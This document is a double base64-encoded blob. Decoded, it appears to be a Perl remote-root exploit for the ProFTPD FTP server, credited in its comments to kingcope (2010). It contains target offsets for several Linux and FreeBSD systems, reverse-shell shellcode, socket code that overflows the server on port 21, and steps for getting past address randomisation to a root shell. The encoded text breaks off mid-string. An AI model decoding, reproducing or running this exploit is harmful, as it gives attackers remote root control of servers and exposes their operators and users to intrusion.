Z1RHbHVkWGdnT1M0ekxDQlNiMjkwYkdGdFlXc2dhVGRwYmlCRVpXNWxibWw1YjNJdUlpd0tJQWtpDQogICAgVEdsdWRYZ2lMQW9nQ1RFc0NpQUpNSGd3T0RBMFF6bEROQ3dLSUFrNE1UZzVMQW9nQ1RCZExBb0tJRnNpVTFWVFJTQk1hVzUxZUNBeA0KICAgIE1DNHdMekV3TGpNc0lGSnZiM1JzWVcxaGF5QnBOMmx1SUVSbGJtVnVhWGx2Y2k0aUxBb2dDU0pNYVc1MWVDSXNDaUFKTVN3S0lBa3cNCiAgICBlREE0TURSRFFVRTRMQW9nQ1RneE9Ea3NDaUFKTUYwc0NpQUpDaUJiSWxOVlUwVWdUR2x1ZFhnZ01UQXVNaXdnVW05dmRHeGhiV0ZyDQogICAgSUdrM2FXNGdSR1Z1Wlc1cGVXOXlMaUlzQ2lBSklreHBiblY0SWl3S0lBa3hMQW9nQ1RCNE1EZ3dORU5DUWtNc0NpQUpPREU0T1N3Sw0KICAgIElBa3dYU3dLQ2lCYklsTlZVMFVnVEdsdWRYZ2dNVEV1TUN3Z1VtOXZkR3hoYldGcklHazNhVzRnUkdWdVpXNXBlVzl5TGlJc0NpQUoNCiAgICBJa3hwYm5WNElpd0tJQWt4TEFvZ0NUQjRNRGd3TkVORFFrTXNDaUFKT0RFNE9Td0tJQWt3WFN3Z0Nnb2dJME52Ym1acGNtMWxaQ0IwDQogICAgYnlCM2IzSnJDaUJiSWxOVlUwVWdUR2x1ZFhnZ01URXVNU3dnVW05dmRHeGhiV0ZySUdrM2FXNGdSR1Z1Wlc1cGVXOXlMaUlzQ2lBSg0KICAgIElreHBiblY0SWl3S0lBa3hMQW9nQ1RCNE1EZ3dORU5EUlRBc0NpQUpPREU0T1N3S0lBa3dYU3dnQ1FvS0lGc2lVMVZUUlNCTWFXNTENCiAgICBlQ0JUVEVWVElERXdMQ0JTYjI5MGJHRnRZV3NnYVRkcGJpQkVaVzVsYm1sNWIzSXVJaXdLSUFraVRHbHVkWGdpTEFvZ0NURXNDaUFKDQogICAgTUhnd09EQTBRMEV5UXl3S0lBazRNVGc1TEFvZ0NUQmRMQ0FLQ2lBalEyOXVabWx5YldWa0lIUnZJSGR2Y21zS0lGc2lRMlZ1ZEU5VA0KICAgIElEVXNJRkp2YjNSc1lXMWhheUJwTjJsdUlFUmxibVZ1YVhsdmNpNGlMQW9nQ1NKTWFXNTFlQ0lzQ2lBSk1Td0tJQWt3ZURBNE1EUkQNCiAgICBNamt3TEFvZ0NUZ3hPRGtzQ2lBSk1GMHNDZ2tLSUFraklHWmxaV3dnWm5KbFpTQjBieUJoWkdRZ2JXOXlaU0IwWVhKblpYUnpMZ29wDQogICAgT3dvS0kyWnlaV1ZpYzJRZ2NtVjJaWEp6WlNCemFHVnNiQ0J3YjNKMElEUTFNamsxQ2lOelpYUjFjQ0JoSUc1bGRHTmhkQ0J2YmlCMA0KICAgIGFHbHpJSEJ2Y25RZ1hsNEtKR0p6WkdOaWMyTWdQUW9KQ1NNZ2MyVjBjbVYxYVdRS0lDQWdJQ0FnSUNBaVhIZ3pNVng0WXpCY2VETXgNCiAgICBYSGhqTUZ4NE5UQmNlRE14WEhoak1GeDROVEJjZUdJd1hIZzNaVng0TlRCY2VHTmtYSGc0TUNJdUNna0pJeUJqYjI1dVpXTjBJR0poDQogICAgWTJzZ09qNEtDUWtpWEhnek1WeDRZekJjZURNeFhIaGtZbHg0TlROY2VHSXpYSGd3Tmx4NE5UTWlMZ29nSUNBZ0lDQWdJQ0pjZUdJeg0KICAgIFhIZ3dNVng0TlROY2VHSXpYSGd3TWx4NE5UTmNlRFUwWEhoaU1DSXVDaUFnSUNBZ0lDQWdJbHg0TmpGY2VHTmtYSGc0TUZ4NE16RmMNCiAgICBlR1F5WEhnMU1seDROVEpjZURZNElpNEtJQ0FnSUNBZ0lDQWlYSGcwTVZ4NE5ERmNlRFF4WEhnME1WeDROalpjZURZNFhIaGlNRng0DQogICAgWldZaUxnb2dJQ0FnSUNBZ0lDSmNlR0kzWEhnd01seDROalpjZURVelhIZzRPVng0WlRGY2VHSXlYSGd4TUNJdUNpQWdJQ0FnSUNBZw0KICAgIElseDROVEpjZURVeFhIZzFNRng0TlRKY2VEZzVYSGhqTWx4NE16RmNlR013SWk0S0lDQWdJQ0FnSUNBaVhIaGlNRng0TmpKY2VHTmsNCiAgICBYSGc0TUZ4NE16RmNlR1JpWEhnek9WeDRZek1pTGdvZ0lDQWdJQ0FnSUNKY2VEYzBYSGd3Tmx4NE16RmNlR013WEhoaU1GeDRNREZjDQogICAgZUdOa1hIZzRNQ0l1Q2lBZ0lDQWdJQ0FnSWx4NE16RmNlR013WEhnMU1GeDROVEpjZURVd1hIaGlNRng0TldGY2VHTmtJaTRLSUNBZw0KICAgIElDQWdJQ0FpWEhnNE1GeDRNekZjZUdNd1hIZ3pNVng0WkdKY2VEUXpYSGcxTTF4NE5USWlMZ29nSUNBZ0lDQWdJQ0pjZURVd1hIaGkNCiAgICBNRng0TldGY2VHTmtYSGc0TUZ4NE16RmNlR013WEhnME15SXVDaUFnSUNBZ0lDQWdJbHg0TlROY2VEVXlYSGcxTUZ4NFlqQmNlRFZoDQogICAgWEhoalpGeDRPREJjZURNeElpNEtJQ0FnSUNBZ0lDQWlYSGhqTUZ4NE5UQmNlRFk0WEhneVpseDRNbVpjZURjelhIZzJPRng0TmpnaQ0KICAgIExnb2dJQ0FnSUNBZ0lDSmNlREptWEhnMk1seDROamxjZURabFhIZzRPVng0WlROY2VEVXdYSGcxTkNJdUNpQWdJQ0FnSUNBZ0lseDQNCiAgICBOVE5jZURVd1hIaGlNRng0TTJKY2VHTmtYSGc0TUZ4NE16RmNlR013SWk0S0lDQWdJQ0FnSUNBaVhIaGlNRng0TURGY2VHTmtYSGc0DQogICAgTUNJN0Nnb2piR2x1ZFhnZ2NtVjJaWEp6WlNCemFHVnNiQ0J3YjNKMElEUTFNamsxSUdKNUlHSnBaMmhoZDJzS0kzTmxkSFZ3SUdFZw0KICAgIGJtVjBZMkYwSUc5dUlIUm9hWE1nY0c5eWRDQmVYZ29rYkc1NFkySnpZeUE5Q2lNZ2MyVjBjbVYxYVdRS0lseDRNekZjZUdNd1hIZ3oNCiAgICBNVng0WkdKY2VETXhYSGhqT1Z4NFlqQmNlRFEyWEhoalpGeDRPREJjZURrd1hIZzVNRng0T1RBaUxnb2pJR052Ym01bFkzUWdZbUZqDQogICAgYXlBNlBnb2lYSGcyWVZ4NE5qWWlMZ29pWEhnMU9DSXVDaUpjZURaaFhIZ3dNU0l1Q2lKY2VEVmlJaTRnSUNBZ0NpSmNlRE14WEhoag0KICAgIE9TSXVDaUpjZURVeElpNEtJbHg0Tm1GY2VEQXhJaTRLSWx4NE5tRmNlREF5SWk0S0lseDRPRGxjZUdVeElpNEtJbHg0WTJSY2VEZ3cNCiAgICBJaTRLSWx4NE5qaGNlRGRtWEhnM1pseDROMlpjZURkbUlpNGdJeUJKVUFvaVhIZzJObHg0TmpoY2VHSXdYSGhsWmlJdUlDTWdVRTlTDQogICAgVkFvaVhIZzJObHg0Tm1GY2VEQXlJaTRLSWx4NE9EbGNlR1V4SWk0S0lseDRObUZjZURFd0lpNGdJQ0FnQ2lKY2VEVXhJaTRnSUNBZw0KICAgIENpSmNlRFV3SWk0Z0lDQWdJQ0FnSUFvaVhIZzRPVng0WlRFaUxnb2lYSGc0T1Z4NFl6WWlMaUFnSUNBS0lseDRObUZjZURBeklpNGcNCiAgICBJQ0FnQ2lKY2VEVmlJaTRnSUNBZ0NpSmNlRFpoWEhnMk5pSXVDaUpjZURVNElpNGdJQ0FnQ2lKY2VHTmtYSGc0TUNJdUNpSmNlRGczDQogICAgWEhobU15SXVJQ0FnSUFvaVhIZzJZVng0TURJaUxpQWdJQ0FLSWx4NE5Ua2lMaUFnSUNBS0lseDRZakJjZURObUlpNEtJbHg0WTJSYw0KICAgIGVEZ3dJaTRnSUNBZ0NpSmNlRFE1SWk0Z0lDQWdDaUpjZURjNVhIaG1PU0l1Q2lKY2VHSXdYSGd3WWlJdUlDQWdJQW9pWEhnek1WeDQNCiAgICBaRElpTGlBZ0lDQUtJbHg0TlRJaUxpQWdJQ0FLSWx4NE5qaGNlREptWEhneVpseDROek5jZURZNElpNEtJbHg0TmpoY2VESm1YSGcyDQogICAgTWx4NE5qbGNlRFpsSWk0S0lseDRPRGxjZUdVeklpNEtJbHg0TlRJaUxpQWdJQ0FnSUNBZ0lDQWdJQW9pWEhnMU15SXVJQ0FnSUNBZw0KICAgIElDQWdJQ0FnSUNBZ0lBb2lYSGc0T1Z4NFpURWlMZ29pWEhoalpGeDRPREFpT3dvS2MzVmlJR1Y0Y0d4dmFYUXhJSHNLSUNBZ0lHWnYNCiAgICBjaUFvSkdOdmRXNTBaWEk5SkhSaGNtZGxkSE5iSkhSMGVYQmxYVnN6WFRzZ0pHTnZkVzUwWlhJZ1BDQWtkR0Z5WjJWMGMxc2tkSFI1DQogICAgY0dWZFd6UmRPeUFrWTI5MWJuUmxjaUFyUFNBeU5UQXBJSHNLQ1Fsd2NtbHVkR1lvSWxza2RHRnlaMlYwWFNCRFZWSlNSVTVVSUU5Rw0KICAgIFJsTkZWQ0E5SUNVd09IZ2dPbkJRWEc0aUxDQWtZMjkxYm5SbGNpazdDZ2tKSkhKbGRDQTlJSEJoWTJzb0lsWWlMQ0FrWTI5MWJuUmwNCiAgICBjaWs3Q2drSkpHRnNhV2R1SUQwZ0pIUmhjbWRsZEhOYkpIUjBlWEJsWFZzMVhUc0tDZ2tKYlhrZ0pITnZZMnNnUFNCSlR6bzZVMjlqDQogICAgYTJWME9qcEpUa1ZVTFQ1dVpYY29VR1ZsY2tGa1pISWdQVDRnSkhSaGNtZGxkQ3dLSUNBZ0lDQWdDU0FnSUNBZ0lDQWdJQ0FnSUNBZw0KICAgIElDQWdJQ0FnSUNBZ0lDQWdDUWtnVUdWbGNsQnZjblFnUFQ0Z01qRXNDaUFnSUNBZ0lDQWdJQ0FnQ1FrZ0lDQWdJQ0FnSUNBZ0lDQWcNCiAgICBJQ0FnSUNBSkNTQlFjbTkwYnlBZ0lDQTlQaUFuZEdOd0p5azdDZ29KQ1NSemRHRmpheUE5SUNKTFEwOVFSVkpWVEVWYVMwTlBVRVZTDQogICAgVlV4RldrdERJaUF1SUNSeVpYUWdMaUFpWEhnNU1DSWdlQ0ExTURBZ0xpQWtjMmhsYkd4amIyUmxJQzRnSWtFaUlIZ2dNVEE3Q2dvSg0KICAgIENTUjJJRDBnUENSemIyTnJQanNLQ1FvSkNYQnlhVzUwSUNSemIyTnJJQ0pjZURBd0lpQjRJQ1JoYkdsbmJpQXVJQ0pjZUdabUlpQXUNCiAgICBJQ1J6ZEdGamF5QXVJQ0pjYmlJN0Nna0tDUWxqYkc5elpTZ2tjMjlqYXlrN0NRa2dJQ0FnQ2dsOUlDQWdJQXA5Q2dvaklFeHBiblY0DQogICAgSUhSbFkyaHVhWEYxWlNCMGJ5QnlaWFJ5YVdWMlpTQmhJSEp2YjNSemFHVnNiQ0FvUXlrZ2EybHVaMk52Y0dVZ01qQXhNQW9qQ2lNZw0KICAgIGRYTmxjeUIzY21sMFpTZ3lLU0IwYnlCbVpYUmphQ0J3Y205alpYTnpJRzFsYlc5eWVTQnZkWFFnYjJZZ2RHaGxJSEpsYlc5MFpTQmkNCiAgICBiM2dnS0hsdmRTQmpZVzRnWm1sdVpDQjBhR1VnYjJabWMyVjBJSFZ6YVc1bklFbEVRU2tLSXlCdmJteDVJSFJvWlNCM2NtbDBaU2d5DQogICAgS1NCd2JIUWdaVzUwY25rZ2IyWm1jMlYwSUdseklHNWxaV1JsWkNCbWIzSWdkR2hsSUdWNGNHeHZhWFFnZEc4Z2QyOXlheUFvWVc1aw0KICAgIElHOW1JR052ZFhKelpTQjBhR1VLSXlCaGJHbG5iaUIyWVd4MVpTa0tJeUJ2Ym1ObElIUm9aU0JqYjNKeVpXTjBJSGR5YVhSbElIWmgNCiAgICBiSFZsSUdseklHZHBkbVZ1SUhSdklIUm9aU0JsZUhCc2IybDBJR2wwSUdabGRHTm9aWE1nZEdobElHMWxiVzl5ZVNCemNHRmpaU0J2DQogICAgWmlCd2NtOW1kSEJrTGdvaklIZHBkR2dnZEdocGN5QnBibVp2Y20xaGRHbHZiaUIwYUdVZ1pYaHdiRzlwZENCallXNGdabWx1WkNCbQ0KICAgIGRXNWpkR2x2YmlCbGJuUnlhV1Z6SUdGdVpDQmllWFJsSUhaaGJIVmxjd29qSUhKbGJHRjBhWFpsSUhSdklIUm9aU0IzY21sMFpTZ3kNCiAgICBLU0JoWkdSeVpYTnpMZ29qSUc5dVkyVWdkR2hsSUcxbGJXOXllU0JwY3lCeVpXRmtJRzkxZENCMGFHVWdaWGh3Ykc5cGRDQmtiMlZ6DQogICAgSUhSb1pTQm1iMnhzYjNkcGJtY2dkRzhnWTJseVkzVnRkbVZ1ZENCc2FXNTFlQ0JoWkhKbGMzTWdjM0JoWTJVS0l5QnlZVzVrYjIxcA0KICAgIGVtRjBhVzl1T2dvaklBb2pJREV1S1NCallXeGpkV3hoZEdVZ2JXMWhjRFkwS0NrZ2NHeDBJR1Z1ZEhKNUNpTWdNaTRwSUhObFpXc2cNCiAgICBabTl5SUdGemMyVnRZbXg1SUdsdWMzUnlkV04wYVc5dWN5QnBiaUIwYUdVZ2NISnZablJ3WkNCdFpXMXZjbmtnYzNCaFkyVWdjbVZzDQogICAgWVhScGRtVWdkRzhnZDNKcGRHVW9NaWtLSXlBZ0lDQWdjM1ZqYUNCaGN5QndiM0FnY0c5d0lISmxkQ0JwYm5OMGNuVmpkR2x2Ym5NSw0KICAgIEl5QXpMaWtnWTJGc2JDQnRiV0Z3TmpRb0tTQjBieUJ0WVhBZ1lYUWdZV1JrY21WemN5QXdlREV3TURBd01EQXdJSGRwZEdnZ2NISnYNCiAgICBkR1ZqZEdsdmJpQnlaV0ZrTEhkeWFYUmxMR1Y0WldOMWRHVUtJeUEwTGlrZ1kyRnNZM1ZzWVhSbElHOW1abk5sZENCbWIzSWdiV1Z0DQogICAgWTNCNUtDa2dkMmhwWTJnZ2FYTWdiR0YwWlhJZ2RYTmxaQ0IwYnlCamIyNXpkSEoxWTNRZ2RHaGxJSE5vWld4c1kyOWtaU0JqYjNCNQ0KICAgIElISnZkWFJwYm1VS0l5QTBMaWtnWTI5d2VTQnJibTkzYmlCaGMzTmxiV0pzZVNCcGJuTjBjblZqZEdsdmJuTWdLSGRvYVdOb0lHaGgNCiAgICBkbVVnWW1WbGJpQm1iM1Z1WkNCaVpXWnZjbVVnZFhOcGJtY2dkR2hsSUcxbGJXOXllU0J5WldGa0tRb2pJQ0FnSUNCMGJ5QmhaR1J5DQogICAgWlhOeklEQjRNVEF3TURBd01EQXVJSFJvWlhObElHbHVjM1J5ZFdOMGFXOXVjeUIzYVd4c0lHTnZjSGtnZEdobElITm9aV3hzWTI5aw0KICAgIFpTQm1jbTl0SUVWVFVDQjBieUF3ZURFd01EQXdNVEF3Q2lNZ0lDQWdJR0Z1WkNCdFlXdGxJSFZ6WlNCdlppQjBhR1VnYldWdFkzQjUNCiAgICBJR1p2ZFc1a0lHSmxabTl5WlFvaklEVXVLU0JoWTNSMVlXeHNlU0JxZFcxd0lIUnZJSFJvWlNCemFHVnNiR052WkdVZ1ptbHVaR1Z5DQogICAgQ2lNZ05pNHBJRzl1WTJVZ2RHaGxJSE5vWld4c1kyOWtaU0JvWVhNZ1ltVmxiaUJqYjNCcFpXUWdkRzhnTUhneE1EQXdNREV3TUNCcQ0KICAgIGRXMXdJSFJ2SUdsMENpTWdOeTRwSUhOb1pXeHNZMjlrWlNCblpYUnpJR1Y0WldOMWRHVmtJR0Z1WkNCM1pTQm9ZWFpsSUc5MWNpQmsNCiAgICBaWE5wY21Wa0lISnZiM1FnYzJobGJHd3VDZ3B6ZFdJZ1pYaHdiRzlwZERJZ2V3b0pjSEpwYm5SbUtDSmJKSFJoY21kbGRGMGdKWE1nDQogICAgT25CUVhHNGlMQ0FrZEdGeVoyVjBjMXNrZEhSNWNHVmRXekJkS1RzS0NTUmhiR2xuYmlBOUlDUjBZWEpuWlhSeld5UjBkSGx3WlYxYg0KICAgIE5GMDdDZ2trZDNKcGRHVmZiMlptYzJWMElEMGdKSFJoY21kbGRITmJKSFIwZVhCbFhWc3pYVHNLQ1NSd1lXUmthVzVuSUQwZ0pIUmgNCiAgICBjbWRsZEhOYkpIUjBlWEJsWFZzMVhUc0tDUWtLQ1NSOFBURTdDZ2x3Y21sdWRDQWlZV3hwWjI0Z1BTQWtZV3hwWjI1Y2JpSTdDZ2x3DQogICAgY21sdWRDQWlVMlZsYTJsdVp5Qm1iM0lnZDNKcGRHVW9NaWt1TGx4dUlqc0tDUW9KSTJ0dWIzZHVJR2R2YjJRZ2QzSnBkR1VvTWlrZw0KICAgIGRtRnNkV1Z6Q2drak1IZ3dPREEwUXpJNU1Bb0pJekI0TURnd05FRTROVU1LQ1NNd2VEQTRNRFJCTWpNMENna2pNSGd3T0RBMU1qZ3oNCiAgICBNQW9KSXpBNE1EVXpNa1E0SUhCeWIyWjBjR1F0WW1GemFXTmZNUzR6TGpOaExUUmZhVE00TmdvSkl6QTRNRFV5T1RNNElIQnliMlowDQogICAgY0dRdFltRnphV05mTVM0ekxqSmxMVFJmYVRNNE5pQW9kV0oxYm5WMGRTa0tDU013T0RBMFEwTkVOQ0J3YzJFdGNISnZablJ3WkY4eA0KICAgIExqTXVNbVV0WkdWaWFXRnVOUzR3TG1KMWFXeGtPVFV4TURBMU1EUXVNVGRmYVRNNE5pQWhJUW9LQ1hCeWFXNTBaaUFpVlhOcGJtY2cNCiAgICBkM0pwZEdVZ2IyWm1jMlYwSUNVd09IZ3VYRzRpTENBa2QzSnBkR1ZmYjJabWMyVjBPd29KSkdzZ1BTQWtkM0pwZEdWZmIyWm1jMlYwDQogICAgT3dvSkpITnZZMnNnUFNCSlR6bzZVMjlqYTJWME9qcEpUa1ZVTFQ1dVpYY29VR1ZsY2tGa1pISWdQVDRnSkhSaGNtZGxkQ3dLSUNBZw0KICAgIElDQWdDU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdVR1ZsY2xCdmNuUWdQVDRnTWpFc0NpQWdJQ0FnSUNBZ0lDQWcNCiAgICBDUWtnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JRY205MGJ5QWdJQ0E5UGlBbmRHTndKeWs3Q2dvSkpITnZZMnN0UG5OdlkydHZjSFFvDQogICAgVTA5ZlRFbE9SMFZTTENCd1lXTnJLQ0pwYVNJc0lERXNJREFwS1RzS0NTTWtlQ0E5SUR4emRHUnBiajQ3Q2dra2MzUmhZMnNnUFNBaQ0KICAgIFMwTlBVRVZTVlV4RldrdERUMUJGVWxWTVJWcExReUl1SUNKRElpQjRJQ1J3WVdSa2FXNW5JQzRnQ2drSkNTQndZV05yS0NKV0lpd2cNCiAgICBKR3NwTGlBZ0l5QjNjbWwwWlFvSkNRa2dJbHg0WTJOY2VHTmpYSGhqWTF4NFkyTWlMZ29KQ1FrZ0lseDRNREZjZURBd1hIZ3dNRng0DQogICAgTURBaUxna2pJR1prSUdadmNpQjNjbWwwWlFvSkNRa2djR0ZqYXlnaVZpSXNJQ1JyS1M0Z0l5QmlkV1ptWlhJZ1ptOXlJSGR5YVhSbA0KICAgIENna0pDU0FpWEhobVpseDRabVpjZURBd1hIZ3dNQ0k3Q1NNZ2JHVnVaM1JvSUdadmNpQjNjbWwwWlFvS0NTUjJJRDBnUENSemIyTnINCiAgICBQanNLQ1FvSmNISnBiblFnSkhOdlkyc2dJbHg0TURBaUlIZ2dKR0ZzYVdkdUlDNGdJbHg0Wm1ZaUlDNGdKSE4wWVdOcklDNGdJbHh1DQogICAgSWpzS0NRb0pkbVZqSUNna2NtWmtMQ0JtYVd4bGJtOG9KSE52WTJzcExDQXhLU0E5SURFN0Nnb0pKSFJwYldWdmRYUWdQU0F4T3dvZw0KICAgIElDQWdhV1lnS0hObGJHVmpkQ0FvSkhKbVpDd2dkVzVrWldZc0lIVnVaR1ZtTENBa2RHbHRaVzkxZENrZ1BqMGdNQW9nSUNBZ0lDQWcNCiAgICBJQ0FnSUNBZ0ppWWdkbVZqS0NSeVptUXNJR1pwYkdWdWJ5Z2tjMjlqYXlrc0lERXBLUW9nSUNBZ2V3b2dJQ0FnSUNBZ2FXWWdLSEpsDQogICAgWVdRb0pITnZZMnNzSUNSaWRXWm1MQ0F3ZUdabVptWXBJRDA5SURCNFptWm1aaWtnZXdvSkNYQnlhVzUwWmlBaVhHNVRWVU5EUlZOVA0KICAgIExpQjNjbWwwWlNneUtTQnBjeUJoZENBbE1EaDRYRzRpTENBa2F6c0pDZ2tKWTJ4dmMyVW9KSE52WTJzcE93b0pDV2R2ZEc4Z2JHSnMNCiAgICBNVHNLQ1FsOUNpQWdJQ0I5Q2lBZ0lDQUtDV05zYjNObEtDUnpiMk5yS1RzS0NYQnlhVzUwWmlBaWQzSnZibWNnZDNKcGRHVW9NaWtnDQogICAgYjJabWMyVjBMbHh1SWpzS0NXVjRhWFE3Q2dwc1ltd3hPZ29qQ1U5dVkyVWdkMlVuY21VZ2FHVnlaU0JqYUdGdVkyVnpJR0Z5WlNCbg0KICAgIGIyOWtJSFJvWVhRZ2QyVWdaMlYwSUhSb1pTQnliMjkwSUhOb1pXeHNDZ29KY0hKcGJuUWdJbEpsWVdScGJtY2diV1Z0YjNKNUlHWnkNCiAgICBiMjBnYzJWeWRtVnlMaTR1WEc0aU93b0piWGtnSkhOdlkyc2dQU0JKVHpvNlUyOWphMlYwT2pwSlRrVlVMVDV1Wlhjb1VHVmxja0ZrDQogICAgWkhJZ1BUNGdKSFJoY21kbGRDd0tJQ0FnSUNBZ0NTQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1VHVmxjbEJ2Y25RZw0KICAgIFBUNGdNakVzQ2lBZ0lDQWdJQ0FnSUNBZ0NRa2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQlFjbTkwYnlBZ0lDQTlQaUFuZEdOd0p5azcNCiAgICBDUW9KQ2dra2MzUmhZMnNnUFNBaVMwTlBVRVZTVlV4RldrdERUMUJGVWxWTVJWcExReUlnTGlBaVF5SWdlQ0FrY0dGa1pHbHVaeUF1DQogICAgSUFvSkNRa2djR0ZqYXlnaVZpSXNJQ1JyS1M0Z0lDTWdkM0pwZEdVS0NRa0pJQ0pjZUdOalhIaGpZMXg0WTJOY2VHTmpJaTRLQ1FrSg0KICAgIElDSmNlREF4WEhnd01GeDRNREJjZURBd0lpNEpJeUJtWkNCbWIzSWdkM0pwZEdVS0NRa0pJSEJoWTJzb0lsWWlMQ0FrYXlrdUlDTWcNCiAgICBZblZtWm1WeUlHWnZjaUIzY21sMFpRb0pDUWtnSWx4NFptWmNlR1ptWEhnd1pseDRNREFpT3draklHeGxibWQwYUNCbWIzSWdkM0pwDQogICAgZEdVS0Nna2tkaUE5SUR3a2MyOWphejQ3Q2drS0NYQnlhVzUwSUNSemIyTnJJQ0pjZURBd0lpQjRJQ1JoYkdsbmJpQXVJQ0pjZUdabQ0KICAgIElpQXVJQ1J6ZEdGamF5QXVJQ0pjYmlJN0lBb0pDZ2x5WldGa0tDUnpiMk5yTENBa1luVm1aaXdnTUhobVptWm1aaWs3Q2dvSmFXWWcNCiAgICBLQ2drZGlBOUlHbHVaR1Y0SUNSaWRXWm1MQ0FpWEhnMVJWeDROVVpjZURWRUlpa2dQajBnTUNrZ2V3b0pDU1J3YjNBemNtVjBJRDBnDQogICAgSkdzZ0t5QWtkanNLQ1Fsd2NtbHVkR1lnSW5CdmNDQndiM0FnY0c5d0lISmxkQ0JzYjJOaGRHVmtJR0YwSUNVd09IaGNiaUlzSUNSdw0KICAgIGIzQXpjbVYwT3dvSmZTQmxiSE5sSUhzS0NRbHdjbWx1ZENBaVEyOTFiR1FnYm05MElHWnBibVFnY0c5d0lIQnZjQ0J3YjNBZ2NtVjANCiAgICBYRzRpT3dvSkNXVjRhWFE3Q2dsOUNna0tDV2xtSUNnb0pIWWdQU0JwYm1SbGVDQWtZblZtWml3Z0lseDRPRE5jZUVNMFhIZ3lNRng0DQogICAgTlVKY2VEVkZYSGcxUkZ4NFF6TWlLU0ErUFNBd0tTQjdDZ2tKSkd4aGNtZGxjRzl3Y21WMElEMGdKR3NnS3lBa2Rqc0tDUWx3Y21sdQ0KICAgIGRHWWdJbXhoY21kbElIQnZjQ0J5WlhRZ2JHOWpZWFJsWkNCaGRDQWxNRGg0WEc0aUxDQWtiR0Z5WjJWd2IzQnlaWFE3Q2dsOUlHVnMNCiAgICBjMlVnZXdvSkNYQnlhVzUwSUNKRGIzVnNaQ0J1YjNRZ1ptbHVaQ0J3YjNBZ2NHOXdJSEJ2Y0NCeVpYUmNiaUk3Q2drSlpYaHBkRHNLDQogICAgQ1gwS0NnbHBaaUFvS0NSMklEMGdhVzVrWlhnZ0pHSjFabVlzSUNKY2VFTTNYSGcwTkZ4NE1qUmNlREE0WEhnd00xeDRNREJjZURBdw0KICAgIFhIZ3dNRng0UXpkY2VEQTBYSGd5TkZ4NE1EQmNlREF3WEhnd01GeDRNREJjZURnNVhIZzBORng0TWpSY2VEQTBJaWtnUGowZ01Da2cNCiAgICBld29KQ1NSaFpHUnlNU0E5SUNSckt5UjJLekl6T3dvSkNRb0pDU1J0YldGd05qUWdQU0IxYm5CaFkyc29Ja2tpTENCemRXSnpkSElvDQogICAgSkdKMVptWXNJQ1IyS3pJd0xDQTBLU2s3Q2drSkpHMXRZWEEyTkNBOUlDUmhaR1J5TVNBdElDZ3dlR1ptWm1abVptWm1MU1J0YldGdw0KICAgIE5qUXBPd29KQ1hCeWFXNTBaaUFpYlcxaGNEWTBJR2x6SUd4dlkyRjBaV1FnWVhRZ0pUQTRlRnh1SWl3Z0pHMXRZWEEyTkRzS0NYMGcNCiAgICBaV3h6WlNCN0Nna0phV1lnS0Nna2RpQTlJR2x1WkdWNElDUmlkV1ptTENBaVhIZzRPVng0TkRSY2VESTBYSGd4TUZ4NFFURmNlRUpEDQogICAgWEhoQk5WeDRNRVpjZURBNFhIZzRPVng0TkRSY2VESTBYSGd3TkZ4NFpUZ2lLU0ErUFNBd0tTQjdDZ2tKQ1NSaFpHUnlNU0E5SUNScg0KICAgIEt5UjJLekUzT3dvSkNRb0pDUWtrYlcxaGNEWTBJRDBnZFc1d1lXTnJLQ0pKSWl3Z2MzVmljM1J5S0NSaWRXWm1MQ0FrZGlzeE5Dd2cNCiAgICBOQ2twT3dvSkNRa2tiVzFoY0RZMElEMGdKR0ZrWkhJeElDMGdLREI0Wm1abVptWm1abVl0SkcxdFlYQTJOQ2s3Q2drSkNYQnlhVzUwDQogICAgWmlBaWJXMWhjRFkwSUdseklHeHZZMkYwWldRZ1lYUWdKVEE0ZUZ4dUlpd2dKRzF0WVhBMk5Ec0tDUWw5SUdWc2MyVWdld29KQ1Fsdw0KICAgIGNtbHVkQ0FpUTI5MWJHUWdibTkwSUdacGJtUWdiVzFoY0RZMEtDbGNiaUk3Q2drSkNXVjRhWFE3Q2drSmZRb0pmUW9KQ2drSkNna0oNCiAgICBDZ2tKYVdZZ0tDZ2tkaUE5SUdsdVpHVjRJQ1JpZFdabUxDQWlYSGc0UkZ4NE5EVmNlRVkwWEhnNE9WeDRNRFJjZURJMFhIZzRPVng0DQogICAgTlRSY2VESTBYSGd3T0Z4NE9FSmNlRFUxWEhnd09GeDRPRGxjZURVMFhIZ3lORng0TURSY2VFVTRJaWtnUGowZ01Da2dld29KQ1Fraw0KICAgIFlXUmtjakVnUFNBa2F5c2tkaXN5TVRzS0NRa0pKRzFsYldOd2VTQTlJSFZ1Y0dGamF5Z2lTU0lzSUhOMVluTjBjaWdrWW5WbVppd2cNCiAgICBKSFlyTVRnc0lEUXBLVHNLQ1FrSkpHMWxiV053ZVNBOUlDUmhaR1J5TVNBdElDZ3dlR1ptWm1abVptWm1MU1J0WlcxamNIa3BPd29KDQogICAgQ1Fsd2NtbHVkR1lnSW0xbGJXTndlU0JwY3lCc2IyTmhkR1ZrSUdGMElDVXdPSGhjYmlJc0lDUnRaVzFqY0hrN0Nna0pmU0JsYkhObA0KICAgIElIc0pDUW9KQ1FvSkNXbG1JQ2dvSkhZZ1BTQnBibVJsZUNBa1luVm1aaXdnSWx4NE9FSmNlRFUyWEhneE1GeDRPRGxjZURRMFhIZ3kNCiAgICBORng0TURoY2VEZzVYSGcxTkZ4NE1qUmNlREEwWEhnNFFseDRORFZjZUVVMFhIZzRPVng0TURSY2VESTBYSGhsT0NJcElENDlJREFwDQogICAgSUhzS0NRa0pKR0ZrWkhJeElEMGdKR3NySkhZck1qRTdDZ2tKQ2drSkNTUnRaVzFqY0hrZ1BTQjFibkJoWTJzb0lra2lMQ0J6ZFdKeg0KICAgIGRISW9KR0oxWm1Zc0lDUjJLekU0TENBMEtTazdDZ2tKQ1NSdFpXMWpjSGtnUFNBa1lXUmtjakVnTFNBb01IaG1abVptWm1abVppMGsNCiAgICBiV1Z0WTNCNUtUc0tDUWtKY0hKcGJuUm1JQ0p0WlcxamNIa2dhWE1nYkc5allYUmxaQ0JoZENBbE1EaDRYRzRpTENBa2JXVnRZM0I1DQogICAgT3dvSkNYMGdaV3h6WlNCN0Nna0phV1lnS0Nna2RpQTlJR2x1WkdWNElDUmlkV1ptTENBaVhIZzRPVng0TkRSY2VESTBYSGd3TkZ4NA0KICAgIFFURmNlRUpEWEhnNVJseDRNRVZjZURBNFhIZzRPVng0TURSY2VESTBJaWtnUGowZ01Da2